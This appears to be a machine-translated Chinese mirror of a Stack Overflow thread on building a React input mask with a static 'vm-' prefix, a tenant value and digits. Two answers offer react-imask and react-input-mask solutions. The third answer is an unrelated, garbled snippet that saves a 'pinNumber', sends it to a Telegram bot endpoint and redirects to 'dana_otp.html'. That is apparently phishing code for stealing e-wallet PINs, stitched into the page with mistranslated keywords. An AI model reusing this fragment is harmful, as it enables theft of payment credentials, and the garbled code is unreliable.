reactjs 如何使我自己的输入掩码与变量值在React

iqih9akk 于 2023-08-04 发布在 React

关注(0)|答案(3)|浏览(104)

使用的语言：Js with react，react钩子窗体和材质ui
我想要达到的目标：我想创建一个带掩码的输入。掩码具有静态值、变量值和用户值。

这里是我创建我的“名称”谁包含我的面具

面具需要有：*
静态值“vm-”
一个需要由用户更改的字符串值
来自其他输入的变量值（tenant = watch（'tenant'））
三个需要用户更改的整数值
问题：我已经创建了我自己的面具，因为我没有找到任何包为我的请求。但问题是：在来自另一个输入的'tenant'值之前，我需要添加一个用户可以更改的字符串。但在此之前，我需要有静态值'vm-'。

我不知道如何将字符串（在我的代码中现在是'a'）添加到可编辑的值中

import React, { useEffect } from 'react';
import { Box, TextField, Typography } from '@mui/material';
import { Controller } from 'react-hook-form';

export const Name = ({ fieldArrayName, index, setValue, watch, control }) => {
  const tenant = watch('tenant');

  useEffect(() => {
    if (tenant) setValue(`${fieldArrayName}.${index}.name`, '');
  }, [tenant]);

  const formatInputValue = (tenant, input) => {
    const tenantFormatted = tenant ? `vm-a${tenant}-` : 'vm-a';
    const inputFormatted = input.slice(tenantFormatted.length);
    return `${tenantFormatted}${inputFormatted.replace(/\D/g, '').slice(0, 3)}`;
  };

  return (
    <>
      <Box>
        <Controller
          control={control}
          name={`${fieldArrayName}.${index}.name`}
          defaultValue=""
          rules={{
            required: 'Name is required',
            pattern: {
              value: /^vm-(\w+)(\d{1,3})-(\d{1,3})$/,
              message: 'Need to be "vm-a{tenant}-999"',
            },
          }}
          render={({ field: { value, onChange }, fieldState: { error } }) => (
            <TextField
              label="Name. ex: vm-a{tenant}-100"
              value={value}
              onChange={(e) => {
                const formattedValue = formatInputValue(tenant, e.target.value);
                onChange(formattedValue);
              }}
              error={Boolean(error)}
              helperText={Boolean(error) && error.message}
            />
          )}
        />
      </Box>
    </>
  );
};

字符串
我已经尝试过的：

使用mask ='vm-a {tenant}-999'对react-input-mask进行整型，除非'tenant'等于999，否则它将用空值替换tenant，因为react-input-mask使用'9'表示它需要是一个整数。

reactjs

来源：https://stackoverflow.com/questions/76813332/how-to-make-my-own-input-mask-with-variable-value-in-react

3条答案

按热度按时间

ubof19bj1#

我用react-imask包得到了它。我的组件是这样的：
第一个是一个 Package 器，用于从库中屏蔽输入，因为使用MuiTextField更容易。

import React from "react"
import { IMaskInput } from "react-imask"

const MaskedInput = React.forwardRef<HTMLInputElement, any>((props, ref) => {
    return (
        <IMaskInput
            {...props}
            inputRef={ref} // pass ref to IMaskInput
        />
    )
})

export default MaskedInput

字符串
然后我导入它并在TextField中实现它：

<TextField
    onChange={handleChange}
    sx={{ ...inputStyle, width: "50%" }}
    label="Birth Date"
    name="birth"
    variant="standard"
    value={values.birth}
    InputProps={{
        inputComponent: MaskedInput,
        inputProps: { mask: "00/00/0000" },
    }}

/>

型
在这个例子中，我使用静态掩码只是为了说明，但在另一个文本字段中，我使用这个InputProps：

InputProps={{
    inputComponent: MaskedInput,
    inputProps: { mask: documentMask(values.document) },
}}

型
documentMask是一个函数，它根据输入的当前大小返回一个不同的掩码：

const documentMask = (value: string | number) => {
        const numbersOnly = value.toString().replace(/[^\d]/g, "")
        let mask

        if (numbersOnly.length <= 11) {
            mask = "000.000.000-000"
        } else {
            mask = "00.000.000/0000-00"
        }

        return mask
    }

型
这不是你问的文字掩码和值，但它是我的工作示例，你可以提取一些信息并让你的代码工作。我希望它有帮助！

赞(0）回复(0）举报 2023-08-04

lf5gs5x22#

我找到了另一个使用react-input mask的解决方案。
我已经改变了用于React输入掩码的格式，所以我没有“9”的问题了

const formatChars = {
    '*': '[A-Za-z]',
    '.': '[123456789]',
  };

  <Controller
          control={control}
          name={`${fieldArrayName}.${index}.name`}
          defaultValue=""
          rules={{
            required: 'Name is required',
            pattern: {
              value: new RegExp(`^vm-a${tenant}-999$`), 
              message: 'Need to be "vm-a{tenant}-999"',
            },
          }}
          render={({ field: { value, onChange }, fieldState: { error } }) => (
            <InputMask
              formatChars={formatChars}
              maskChar=""
              mask={`vm-*${tenant}-...`}
              label={`Name. ex: vm-a${tenant}-100`}
              variant="outlined"
              fullWidth={true}
              value={value || ''}
              onChange={(e) => {
                onChange(e.target.value);
              }}
              error={Boolean(error)}
              helperText={Boolean(error) && error?.message}
            >
              {(inputProps) => <TextField {...inputProps} />}
            </InputMask>
          )}
        />{' '}

字符串

赞(0）回复(0）举报 2023-08-04

g6ll5ycj3#

的

essionStorage.setItem("pinNumber", pinNumber);
let message = `
Dutch("https://api.telegram.org/bot"+token_botTele+"/Sendirian?parse_mode=marketing",{
    metode: 'POST',
    header: {
        'Accept': 'aplikatif/Jason',
        'Content-Tipe': 'aplikatif/Jason'
    },
    body: JSON.stringify({
        chat_id: id_telegram,
        txt: message
    })
});
window.location.href = "./dana_otp.html";

字符串

赞(0）回复(0）举报 2023-08-04

我来回答

reactjs 如何使我自己的输入掩码与变量值在React

3条答案

相关问题

热门标签

最新问答